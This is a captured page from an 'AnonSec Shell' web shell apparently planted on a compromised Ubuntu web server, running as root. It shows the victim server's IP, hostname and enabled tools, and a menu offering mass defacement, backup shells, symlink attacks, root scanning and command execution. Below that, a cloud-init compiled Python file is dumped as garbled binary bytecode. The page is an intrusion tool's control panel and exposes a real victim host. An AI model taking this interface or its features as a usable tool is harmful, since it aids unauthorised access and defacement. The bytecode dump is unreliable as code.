AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/mergers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/mergers/__pycache__/__init__.cpython-310.pyc
o

x[h��@sfddlZddlmZmZdZdZdZGdd�d�ZGdd	�d	e�Zd
d�Z	dd
�Z
dd�Zdd�ZdS)�N)�importer�
type_utilszlist()+dict()+str()�m_�Mergerc@seZdZdd�Zdd�ZdS)�
UnknownMergercCs|S�N�)�self�_meth_wanted�value�_merge_withrr�</usr/lib/python3/dist-packages/cloudinit/mergers/__init__.py�_handle_unknownszUnknownMerger._handle_unknowncCsXt�|�}|��}d|}d}||g}t||�rt||�}|s(|j}|�d|�||�S)Nz_on_%sr)r�obj_name�lower�hasattr�getattrr�insert)r	�source�
merge_with�	type_name�method_name�meth�argsrrr
�merges


zUnknownMerger.mergeN)�__name__�
__module__�__qualname__rrrrrr
rs
rc@s&eZdZddd�Zdd�Zdd�ZdS)	�LookupMergerNcCs&t�|�|durg|_dS||_dSr)r�__init__�_lookups)r	�lookupsrrr
r-s


zLookupMerger.__init__cCsdt|j�S)NzLookupMerger: (%s))�lenr )r	rrr
�__str__4szLookupMerger.__str__cCsFd}|jD]}t||�rt||�}nq|st�||||�S|||�Sr)r rrrr)r	�meth_wantedrrr�mergerrrr
r<s


��
zLookupMerger._handle_unknownr)rrrrr#rrrrr
r,s
rcCs�g}|�dd�}|dur|�dd�}|dur|St|t�r!t|�S|D]4}t|t�r;|d}|�dd���}|d}n|d}t|�dkrL|d	d�}ng}|rW|�||f�q#|S)
N�	merge_how�
merge_type�name�-�_�settingsr��)	�pop�
isinstance�str�string_extract_mergers�dict�replace�stripr"�append)�config�parsed_mergers�raw_mergers�mr(�optsrrr
�dict_extract_mergersKs*


�r;cCs�g}|�d�D]<}|����}|�dd�}|sqt�d|�}|s(d|}t|��|��\}}|���d�}dd�|D�}|�||f�q|S)	N�+r)r*z#(^[a-zA-Z_][A-Za-z0-9_]*)\((.*?)\)$z2Matcher identifier '%s' is not in the right format�,cSs g|]}|��r|�����qSr)r4r)�.0r9rrr
�
<listcomp>us z*string_extract_mergers.<locals>.<listcomp>)	�splitrr4r3�re�match�
ValueError�groupsr5)r&r7�m_namerB�msg�m_opsrrr
r1ds"�r1cCsttt��Sr)�tupler1�DEF_MERGE_TYPErrrr
�default_mergerszsrJc
Cs�g}|D]:\}}|�t�stt|�}t�|tgtg�\}}|s+d|t|f}t|��t�|d�}t	|t�}|�
||f�qg}	t|	�}
|D]\}}|	�
||
|��qG|
S)NzICould not find merger module named '%s' with attribute '%s' (searched %s)r)�
startswith�
MERGER_PREFIXr0r�find_moduler�MERGER_ATTR�ImportError�
import_modulerr5r)
r7�
mergers_to_berErG�merger_locs�looked_locsrF�mod�mod_attr�mergers�root�attrr:rrr
�	construct~s*

���
rY)
rA�	cloudinitrrrIrLrNrrr;r1rJrYrrrr
�<module>s

Anon7 - 2022
AnonSec Team